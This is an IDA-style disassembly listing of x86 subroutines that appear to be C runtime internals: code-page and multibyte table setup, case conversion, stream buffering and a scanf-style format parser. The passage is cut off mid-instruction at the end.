======================================= sub_4208E2 proc near ; CODE XREF: sub_420749+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DBE4C, 0 cmp eax, 0FFFFFFFEh jnz short loc_420902 mov dword_4DBE4C, 1 nop jmp near ptr 266088Ch ; --------------------------------------------------------------------------- loc_420902: ; CODE XREF: sub_4208E2+Ej cmp eax, 0FFFFFFFDh jnz short loc_420917 mov dword_4DBE4C, 1 nop jmp near ptr 26608C7h ; --------------------------------------------------------------------------- loc_420917: ; CODE XREF: sub_4208E2+23j cmp eax, 0FFFFFFFCh jnz short locret_42092B mov eax, dword_4DBE94 mov dword_4DBE4C, 1 locret_42092B: ; CODE XREF: sub_4208E2+38j retn sub_4208E2 endp ; =============== S U B R O U T I N E ======================================= sub_42092C proc near ; CODE XREF: sub_420749+118p ; sub_420749+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_420959 sub eax, 4 jz short loc_420953 sub eax, 0Dh jz short loc_42094D dec eax jz short loc_420947 xor eax, eax retn ; --------------------------------------------------------------------------- loc_420947: ; CODE XREF: sub_42092C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_42094D: ; CODE XREF: sub_42092C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_420953: ; CODE XREF: sub_42092C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_420959: ; CODE XREF: sub_42092C+9j mov eax, 411h retn sub_42092C endp ; =============== S U B R O U T I N E ======================================= sub_42095F proc near ; CODE XREF: sub_420749:loc_4208CCp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DD260 rep stosd stosb xor eax, eax mov edi, offset dword_4DD150 mov dword_4DD144, eax mov dword_4DD15C, eax mov dword_4DD364, eax stosd stosd stosd pop edi retn sub_42095F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420988 proc near ; CODE XREF: sub_420749:loc_4208D1p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DD144 call near ptr 26608E0h nop cmp eax, 1 jnz loc_420AC1 xor eax, eax mov esi, 100h loc_4209B2: ; CODE XREF: sub_420988+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_4209B2 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420A03 push ebx push edi lea edx, [ebp+var_D] loc_4209D1: ; CODE XREF: sub_420988+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_4209F8 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_4209F8: ; CODE XREF: sub_420988+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_4209D1 pop edi pop ebx loc_420A03: ; CODE XREF: sub_420988+42j push 0 lea eax, [ebp+var_514] push dword_4DD364 push dword_4DD144 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_4244F4 push 0 lea eax, [ebp+var_214] push dword_4DD144 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DD364 call sub_4232A8 push 0 lea eax, [ebp+var_314] push dword_4DD144 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DD364 call sub_4232A8 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_420A7E: ; CODE XREF: sub_420988+135j mov dx, [ecx] test dl, 1 jz short loc_420A9C or byte_4DD261[eax], 10h mov dl, [ebp+eax+var_214] loc_420A94: ; CODE XREF: sub_420988+127j mov byte_4DD160[eax], dl jmp short loc_420AB8 ; --------------------------------------------------------------------------- loc_420A9C: ; CODE XREF: sub_420988+FCj test dl, 2 jz short loc_420AB1 or byte_4DD261[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_420A94 ; --------------------------------------------------------------------------- loc_420AB1: ; CODE XREF: sub_420988+117j and byte_4DD160[eax], 0 loc_420AB8: ; CODE XREF: sub_420988+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_420A7E jmp short loc_420B0A ; --------------------------------------------------------------------------- loc_420AC1: ; CODE XREF: sub_420988+1Dj xor eax, eax mov esi, 100h loc_420AC8: ; CODE XREF: sub_420988+180j cmp eax, 41h jb short loc_420AE6 cmp eax, 5Ah ja short loc_420AE6 or byte_4DD261[eax], 10h mov cl, al add cl, 20h loc_420ADE: ; CODE XREF: sub_420988+174j mov byte_4DD160[eax], cl jmp short loc_420B05 ; --------------------------------------------------------------------------- loc_420AE6: ; CODE XREF: sub_420988+143j ; sub_420988+148j cmp eax, 61h jb short loc_420AFE cmp eax, 7Ah ja short loc_420AFE or byte_4DD261[eax], 20h mov cl, al sub cl, 20h jmp short loc_420ADE ; --------------------------------------------------------------------------- loc_420AFE: ; CODE XREF: sub_420988+161j ; sub_420988+166j and byte_4DD160[eax], 0 loc_420B05: ; CODE XREF: sub_420988+15Cj inc eax cmp eax, esi jb short loc_420AC8 loc_420B0A: ; CODE XREF: sub_420988+137j pop esi leave retn sub_420988 endp ; =============== S U B R O U T I N E ======================================= sub_420B0D proc near ; CODE XREF: ___:00423684p ; ___:004236E0p ... cmp dword_4DD394, 0 jnz short locret_420B28 push 0FFFFFFFDh call sub_420749 pop ecx mov dword_4DD394, 1 locret_420B28: ; CODE XREF: sub_420B0D+7j retn sub_420B0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420B29 proc near ; CODE XREF: sub_41C3B1+2Bp ; sub_41C3B1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DD15C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_420B4D push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41BFD0 add esp, 0Ch jmp short loc_420BB0 ; --------------------------------------------------------------------------- loc_420B4D: ; CODE XREF: sub_420B29+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_420B92 mov ecx, [ebp+arg_4] loc_420B58: ; CODE XREF: sub_420B29+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DD261[esi], 4 mov [edi], al jz short loc_420B7C inc edi inc ecx test edx, edx jz short loc_420B88 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_420B8E jmp short loc_420B82 ; --------------------------------------------------------------------------- loc_420B7C: ; CODE XREF: sub_420B29+3Ej inc edi inc ecx test al, al jz short loc_420B92 loc_420B82: ; CODE XREF: sub_420B29+51j test edx, edx jnz short loc_420B58 jmp short loc_420B92 ; --------------------------------------------------------------------------- loc_420B88: ; CODE XREF: sub_420B29+44j and byte ptr [edi-1], 0 jmp short loc_420B92 ; --------------------------------------------------------------------------- loc_420B8E: ; CODE XREF: sub_420B29+4Fj and byte ptr [edi-2], 0 loc_420B92: ; CODE XREF: sub_420B29+2Aj ; sub_420B29+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_420BAD lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_420BAD: ; CODE XREF: sub_420B29+6Fj mov eax, [ebp+arg_0] loc_420BB0: ; CODE XREF: sub_420B29+22j pop edi pop ebp retn sub_420B29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420BB3 proc near ; CODE XREF: sub_41C59D+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBE84, 0 push ebx jnz short loc_420BDE mov eax, [ebp+arg_0] cmp eax, 61h jl loc_420C7C cmp eax, 7Ah jg loc_420C7C sub eax, 20h jmp loc_420C7C ; --------------------------------------------------------------------------- loc_420BDE: ; CODE XREF: sub_420BB3+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420C11 cmp dword_43D084, 1 jle short loc_420BFE push 2 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_420C09 ; --------------------------------------------------------------------------- loc_420BFE: ; CODE XREF: sub_420BB3+3Dj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 2 loc_420C09: ; CODE XREF: sub_420BB3+49j test eax, eax jnz short loc_420C11 loc_420C0D: ; CODE XREF: sub_420BB3+AFj mov eax, ebx jmp short loc_420C7C ; --------------------------------------------------------------------------- loc_420C11: ; CODE XREF: sub_420BB3+34j ; sub_420BB3+58j mov edx, off_43CE78 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420C34 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_420C3D ; --------------------------------------------------------------------------- loc_420C34: ; CODE XREF: sub_420BB3+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_420C3D: ; CODE XREF: sub_420BB3+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DBE84 call sub_4232A8 add esp, 20h test eax, eax jz short loc_420C0D cmp eax, 1 jnz short loc_420C6F movzx eax, [ebp+var_4] jmp short loc_420C7C ; --------------------------------------------------------------------------- loc_420C6F: ; CODE XREF: sub_420BB3+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_420C7C: ; CODE XREF: sub_420BB3+14j ; sub_420BB3+1Dj ... pop ebx leave retn sub_420BB3 endp ; =============== S U B R O U T I N E ======================================= sub_420C7F proc near ; CODE XREF: sub_41C7BC+1Dp ; sub_41DC5E+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DBDE0, ecx mov eax, offset dword_43D190 loc_420C90: ; CODE XREF: sub_420C7F+1Ej cmp ecx, [eax] jz short loc_420CB4 add eax, 8 inc edx cmp eax, offset dword_43D2F8 jl short loc_420C90 cmp ecx, 13h jb short loc_420CC1 cmp ecx, 24h ja short loc_420CC1 mov dword_4DBDDC, 0Dh retn ; --------------------------------------------------------------------------- loc_420CB4: ; CODE XREF: sub_420C7F+13j mov eax, dword_43D194[edx*8] mov dword_4DBDDC, eax retn ; --------------------------------------------------------------------------- loc_420CC1: ; CODE XREF: sub_420C7F+23j ; sub_420C7F+28j cmp ecx, 0BCh jb short loc_420CDB cmp ecx, 0CAh mov dword_4DBDDC, 8 jbe short locret_420CE5 loc_420CDB: ; CODE XREF: sub_420C7F+48j mov dword_4DBDDC, 16h locret_420CE5: ; CODE XREF: sub_420C7F+5Aj retn sub_420C7F endp ; =============== S U B R O U T I N E ======================================= sub_420CE6 proc near ; CODE XREF: sub_41C7E6+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_42463D test eax, eax pop ecx jz short loc_420D6F cmp esi, offset dword_43D588 jnz short loc_420D04 xor eax, eax jmp short loc_420D0F ; --------------------------------------------------------------------------- loc_420D04: ; CODE XREF: sub_420CE6+18j cmp esi, offset dword_43D5A8 jnz short loc_420D6F push 1 pop eax loc_420D0F: ; CODE XREF: sub_420CE6+1Cj inc dword_4DBFAC test word ptr [esi+0Ch], 10Ch jnz short loc_420D6F cmp dword_4DBE50[eax*4], 0 push ebx push edi lea edi, ds:4DBE50h[eax*4] mov ebx, 1000h jnz short loc_420D55 push ebx call sub_41BEB5 test eax, eax pop ecx mov [edi], eax jnz short loc_420D55 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_420D62 ; --------------------------------------------------------------------------- loc_420D55: ; CODE XREF: sub_420CE6+4Dj ; sub_420CE6+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_420D62: ; CODE XREF: sub_420CE6+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_420D6F: ; CODE XREF: sub_420CE6+10j ; sub_420CE6+24j ... xor eax, eax pop esi retn sub_420CE6 endp ; =============== S U B R O U T I N E ======================================= sub_420D73 proc near ; CODE XREF: sub_41C7E6+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_420D9D mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_420DAE push esi call sub_41E42B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_420D9D: ; CODE XREF: sub_420D73+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_420DAE push eax call sub_41E42B pop ecx loc_420DAE: ; CODE XREF: sub_420D73+10j ; sub_420D73+32j pop esi retn sub_420D73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420DB0 proc near ; CODE XREF: sub_41CCE3+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_4217B6 mov edi, [ebp+arg_0] jmp short loc_420DDF ; --------------------------------------------------------------------------- loc_420DDA: ; CODE XREF: sub_420DB0+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_420DDF: ; CODE XREF: sub_420DB0+28j cmp dword_43D084, 1 jle short loc_420DF7 movzx eax, al push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_420E06 ; --------------------------------------------------------------------------- loc_420DF7: ; CODE XREF: sub_420DB0+36j mov ecx, off_43CE78 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420E06: ; CODE XREF: sub_420DB0+45j cmp eax, ebx jz short loc_420E40 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_42183D pop ecx pop ecx push eax call sub_421826 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DF10 add esp, 0Ch loc_420E2E: ; CODE XREF: sub_420DB0+8Ej test eax, eax jz short loc_420E40 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DF10 pop ecx jmp short loc_420E2E ; --------------------------------------------------------------------------- loc_420E40: ; CODE XREF: sub_420DB0+58j ; sub_420DB0+80j cmp byte ptr [esi], 25h jnz loc_421722 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_420E77: ; CODE XREF: sub_420DB0+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43D084, 1 jle short loc_420E94 movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_420EA3 ; --------------------------------------------------------------------------- loc_420E94: ; CODE XREF: sub_420DB0+D3j mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420EA3: ; CODE XREF: sub_420DB0+E2j test eax, eax jz short loc_420EB9 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EB9: ; CODE XREF: sub_420DB0+F5j cmp ebx, 4Eh jg short loc_420EFC jz short loc_420F1E cmp ebx, 2Ah jz short loc_420EF7 cmp ebx, 46h jz short loc_420F1E cmp ebx, 49h jz short loc_420ED9 cmp ebx, 4Ch jnz short loc_420F0B inc [ebp+var_D] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420ED9: ; CODE XREF: sub_420DB0+11Dj cmp byte ptr [esi+1], 36h jnz short loc_420F0B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_420F0B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EF7: ; CODE XREF: sub_420DB0+113j inc [ebp+var_E] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EFC: ; CODE XREF: sub_420DB0+10Cj cmp ebx, 68h jz short loc_420F18 cmp ebx, 6Ch jz short loc_420F10 cmp ebx, 77h jz short loc_420F13 loc_420F0B: ; CODE XREF: sub_420DB0+122j ; sub_420DB0+12Dj ... inc [ebp+var_F] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420F10: ; CODE XREF: sub_420DB0+154j inc [ebp+var_D] loc_420F13: ; CODE XREF: sub_420DB0+159j inc [ebp+var_5] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420F18: ; CODE XREF: sub_420DB0+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_420F1E: ; CODE XREF: sub_420DB0+107j ; sub_420DB0+10Ej ... cmp [ebp+var_F], 0 jz loc_420E77 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_420F43 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_420F43: ; CODE XREF: sub_420DB0+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_420F61 mov al, [esi] cmp al, 53h jz short loc_420F5D cmp al, 43h jz short loc_420F5D or [ebp+var_5], 0FFh jmp short loc_420F61 ; --------------------------------------------------------------------------- loc_420F5D: ; CODE XREF: sub_420DB0+1A1j ; sub_420DB0+1A5j mov [ebp+var_5], 1 loc_420F61: ; CODE XREF: sub_420DB0+19Bj ; sub_420DB0+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_420F9A cmp esi, 63h jz short loc_420F8B cmp esi, 7Bh jz short loc_420F8B push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_42183D pop ecx jmp short loc_420F96 ; --------------------------------------------------------------------------- loc_420F8B: ; CODE XREF: sub_420DB0+1C5j ; sub_420DB0+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C loc_420F96: ; CODE XREF: sub_420DB0+1D9j pop ecx mov [ebp+var_14], eax loc_420F9A: ; CODE XREF: sub_420DB0+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_420FAA cmp [ebp+var_C], eax jz loc_421786 loc_420FAA: ; CODE XREF: sub_420DB0+1EFj cmp esi, 6Fh jg loc_421211 jz loc_4214C3 cmp esi, 63h jz loc_4211EE cmp esi, 64h jz loc_4214C3 jle loc_42123B cmp esi, 67h jle short loc_42100E cmp esi, 69h jz short loc_420FF6 cmp esi, 6Eh jnz loc_42123B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_4216F1 jmp loc_421717 ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420DB0+229j push 64h pop esi loc_420FF9: ; CODE XREF: sub_420DB0+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_421283 mov [ebp+var_17], 1 jmp loc_421288 ; --------------------------------------------------------------------------- loc_42100E: ; CODE XREF: sub_420DB0+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42102A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42102F ; --------------------------------------------------------------------------- loc_42102A: ; CODE XREF: sub_420DB0+26Aj cmp ebx, 2Bh jnz short loc_421046 loc_42102F: ; CODE XREF: sub_420DB0+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_421049 ; --------------------------------------------------------------------------- loc_421046: ; CODE XREF: sub_420DB0+27Dj mov edi, [ebp+arg_0] loc_421049: ; CODE XREF: sub_420DB0+294j cmp [ebp+var_20], 0 jz short loc_421058 cmp [ebp+var_C], 15Dh jle short loc_42105F loc_421058: ; CODE XREF: sub_420DB0+29Dj mov [ebp+var_C], 15Dh loc_42105F: ; CODE XREF: sub_420DB0+2A6j ; sub_420DB0+2F2j cmp dword_43D084, 1 jle short loc_421074 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_42107F ; --------------------------------------------------------------------------- loc_421074: ; CODE XREF: sub_420DB0+2B6j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_42107F: ; CODE XREF: sub_420DB0+2C2j test eax, eax jz short loc_4210A4 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4210A4 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42105F ; --------------------------------------------------------------------------- loc_4210A4: ; CODE XREF: sub_420DB0+2D1j ; sub_420DB0+2DBj cmp byte_43D088, bl jnz short loc_421112 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421112 inc [ebp+var_4] push edi call sub_42180C mov ebx, eax mov al, byte_43D088 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_4210CD: ; CODE XREF: sub_420DB0+360j cmp dword_43D084, 1 jle short loc_4210E2 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_4210ED ; --------------------------------------------------------------------------- loc_4210E2: ; CODE XREF: sub_420DB0+324j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_4210ED: ; CODE XREF: sub_420DB0+330j test eax, eax jz short loc_421112 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421112 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4210CD ; --------------------------------------------------------------------------- loc_421112: ; CODE XREF: sub_420DB0+2FAj ; sub_420DB0+304j ... cmp [ebp+var_1C], 0 jz loc_4211AA cmp ebx, 65h jz short loc_42112A cmp ebx, 45h jnz loc_4211AA loc_42112A: ; CODE XREF: sub_420DB0+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4211AA mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_421151 mov [esi], al inc esi jmp short loc_421156 ; --------------------------------------------------------------------------- loc_421151: ; CODE XREF: sub_420DB0+39Aj cmp ebx, 2Bh jnz short loc_421174 loc_421156: ; CODE XREF: sub_420DB0+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_421165 and [ebp+var_C], eax jmp short loc_421174 ; --------------------------------------------------------------------------- loc_421165: ; CODE XREF: sub_420DB0+3AEj ; sub_420DB0+3F8j inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_421174: ; CODE XREF: sub_420DB0+3A4j ; sub_420DB0+3B3j cmp dword_43D084, 1 jle short loc_421189 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421194 ; --------------------------------------------------------------------------- loc_421189: ; CODE XREF: sub_420DB0+3CBj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421194: ; CODE XREF: sub_420DB0+3D7j test eax, eax jz short loc_4211AA mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4211AA inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_421165 ; --------------------------------------------------------------------------- loc_4211AA: ; CODE XREF: sub_420DB0+366j ; sub_420DB0+374j ... dec [ebp+var_4] push edi push ebx call sub_421826 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_4217B6 cmp [ebp+var_E], 0 jnz loc_421717 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43D428 add esp, 0Ch jmp loc_421717 ; --------------------------------------------------------------------------- loc_4211EE: ; CODE XREF: sub_420DB0+20Cj cmp [ebp+var_20], eax jnz short loc_4211FD inc [ebp+var_C] mov [ebp+var_20], 1 loc_4211FD: ; CODE XREF: sub_420DB0+441j cmp [ebp+var_5], 0 jle short loc_421207 mov [ebp+var_16], 1 loc_421207: ; CODE XREF: sub_420DB0+451j mov edi, offset dword_43D300 jmp loc_42131C ; --------------------------------------------------------------------------- loc_421211: ; CODE XREF: sub_420DB0+1FDj mov eax, esi sub eax, 70h jz loc_4214BF sub eax, 3 jz loc_42130D dec eax dec eax jz loc_4214C3 sub eax, 3 jz loc_420FF9 sub eax, 3 jz short loc_42125F loc_42123B: ; CODE XREF: sub_420DB0+21Bj ; sub_420DB0+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_421786 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_421717 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_421717 ; --------------------------------------------------------------------------- loc_42125F: ; CODE XREF: sub_420DB0+489j cmp [ebp+var_5], 0 jle short loc_421269 mov [ebp+var_16], 1 loc_421269: ; CODE XREF: sub_420DB0+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_421320 mov eax, edi lea edi, [eax+1] jmp loc_42131C ; --------------------------------------------------------------------------- loc_421283: ; CODE XREF: sub_420DB0+24Fj cmp ebx, 2Bh jnz short loc_4212AA loc_421288: ; CODE XREF: sub_420DB0+259j dec [ebp+var_C] jnz short loc_421299 cmp [ebp+var_20], 0 jz short loc_421299 mov [ebp+var_F], 1 jmp short loc_4212AA ; --------------------------------------------------------------------------- loc_421299: ; CODE XREF: sub_420DB0+4DBj ; sub_420DB0+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4212AA: ; CODE XREF: sub_420DB0+4D6j ; sub_420DB0+4E7j cmp ebx, 30h jnz loc_4214F8 push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_4212F8 cmp bl, 58h jz short loc_4212F8 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_4212E2 push 6Fh loc_4212DC: ; CODE XREF: sub_420DB0+55Bj pop esi jmp loc_4214F8 ; --------------------------------------------------------------------------- loc_4212E2: ; CODE XREF: sub_420DB0+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx push 30h pop ebx jmp loc_4214F5 ; --------------------------------------------------------------------------- loc_4212F8: ; CODE XREF: sub_420DB0+517j ; sub_420DB0+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_4212DC ; --------------------------------------------------------------------------- loc_42130D: ; CODE XREF: sub_420DB0+46Fj cmp [ebp+var_5], 0 jle short loc_421317 mov [ebp+var_16], 1 loc_421317: ; CODE XREF: sub_420DB0+561j mov edi, offset dword_43D2F8 loc_42131C: ; CODE XREF: sub_420DB0+45Cj ; sub_420DB0+4CEj or [ebp+var_18], 0FFh loc_421320: ; CODE XREF: sub_420DB0+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41BF70 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_421344 cmp byte ptr [edi], 5Dh jnz short loc_421344 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_421347 ; --------------------------------------------------------------------------- loc_421344: ; CODE XREF: sub_420DB0+584j ; sub_420DB0+589j mov dl, [ebp+var_35] loc_421347: ; CODE XREF: sub_420DB0+592j ; sub_420DB0+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_4213AC inc edi cmp al, 2Dh jnz short loc_421393 test dl, dl jz short loc_421393 mov cl, [edi] cmp cl, 5Dh jz short loc_421393 inc edi cmp dl, cl jnb short loc_421366 mov al, cl jmp short loc_42136A ; --------------------------------------------------------------------------- loc_421366: ; CODE XREF: sub_420DB0+5B0j mov al, dl mov dl, cl loc_42136A: ; CODE XREF: sub_420DB0+5B4j cmp dl, al ja short loc_42138F movzx edx, dl movzx esi, al sub esi, edx inc esi loc_421377: ; CODE XREF: sub_420DB0+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_421377 loc_42138F: ; CODE XREF: sub_420DB0+5BCj xor dl, dl jmp short 